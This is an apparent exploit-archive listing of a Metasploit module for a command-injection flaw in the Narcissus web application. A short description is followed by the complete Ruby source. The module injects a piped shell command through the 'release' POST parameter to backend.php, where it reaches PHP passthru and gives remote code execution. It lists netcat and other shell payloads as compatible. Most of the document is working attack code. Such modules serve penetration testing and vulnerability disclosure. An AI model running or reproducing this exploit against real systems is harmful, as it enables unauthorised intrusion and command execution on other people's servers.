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Narcissus Image Configuration Passthru

Narcissus Image Configuration Passthru
Posted Nov 21, 2012
Authored by dun, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability found in Narcissus image configuration function. This is due to the backend.php file not handling the $release parameter properly, and then passes it on to the configure_image() function. In this function, the $release parameter can be used to inject system commands for passthru (a PHP function that's meant to be used to run a bash script by the vulnerable application), which allows remote code execution under the context of the web server.

tags | exploit, remote, web, php, code execution, bash
MD5 | 7e5ccde71d249ff814c86c697a3cde11

Narcissus Image Configuration Passthru

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Narcissus Image Configuration Passthru Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Narcissus image configuration
function. This is due to the backend.php file not handling the $release parameter
properly, and then passes it on to the configure_image() function. In this
function, the $release parameter can be used to inject system commands for
passthru (a PHP function that's meant to be used to run a bash script by the
vulnerable application), which allows remote code execution under the context
of the web server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Dun', #Original
'sinn3r' #Metasploit
],
'References' =>
[
[ 'EDB', '22709' ],
[ 'BID', '87410' ]
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a"
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python bash netcat-e'
},
'Targets' =>
[
['Narcissus', {}]
],
'Privileged' => false,
'DisclosureDate' => "Nov 14 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/narcissus-master/'])
], self.class)
end

def base
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
return uri
end

def peer
"#{rhost}:#{rport}"
end

def remote_exe(command)
res = send_request_cgi({
'uri' => "#{base}backend.php",
'method' => 'POST',
'encode_params' => false,
'vars_post' => {
'machine' => '0',
'action' => 'configure_image',
'release' => "|#{command}"
}
})

vprint_line(res.body) if res
return res
end

def check
sig = rand_text_alpha(rand(10) + 5) #The string to check

print_status("#{peer} - Looking for signature '#{sig}'...")
res = remote_exe("echo #{sig}")

if res and res.body =~ /#{sig}/
print_status("#{peer} - Signature '#{sig}' found.")
return Exploit::CheckCode::Vulnerable
else
print_status("#{peer} - Signature not found")
return Exploit::CheckCode::Safe
end
end

def exploit
print_status("#{peer} - Sending malicious request...")
remote_exe(payload.encoded)
end


end

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